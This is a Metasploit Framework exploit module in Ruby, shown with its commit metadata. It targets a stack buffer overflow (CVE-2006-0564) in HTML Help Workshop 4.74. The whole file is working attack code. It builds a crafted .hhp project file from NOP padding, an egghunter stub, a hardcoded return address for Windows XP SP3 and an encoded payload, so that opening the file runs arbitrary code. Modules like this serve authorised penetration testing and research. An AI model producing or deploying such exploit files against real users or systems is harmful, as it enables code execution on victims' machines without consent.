Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
93 lines
2.2 KiB
Ruby
93 lines
2.2 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::Egghunter
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'HTML Help Workshop 4.74 (hhp Project File) Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in HTML Help Workshop 4.74
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By creating a specially crafted hhp file, an an attacker may be able
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to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'bratax', 'jduck' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2006-0564'],
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[ 'OSVDB', '22941'],
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[ 'EDB', '1488' ],
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[ 'EDB', '1490' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00\x0a\x0d\x1a\x2f\x5c",
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'StackAdjustment' => -4800,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP English SP3', { 'Offset' => 242, 'Ret' => 0x00401F93 } ], # CALL EDI hhw.exe v4.74.8702.0
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],
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'Privileged' => false,
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'DisclosureDate' => 'Feb 06 2006',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.hhp']),
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], self.class)
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end
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def exploit
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# use the egghunter!
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eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
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off = target['Offset']
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idxf = ""
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idxf << make_nops(off - eh_stub.length)
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idxf << eh_stub
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idxf << [target.ret].pack('V')
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sploit = "[OPTIONS]\r\n"
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sploit << "Compiled file="
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sploit << idxf
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sploit << "\r\n"
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sploit << "\r\n"
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sploit << "[FILES]\r\n"
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sploit << "\r\n"
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sploit << eh_egg
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hhp = sploit
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(hhp)
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end
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end
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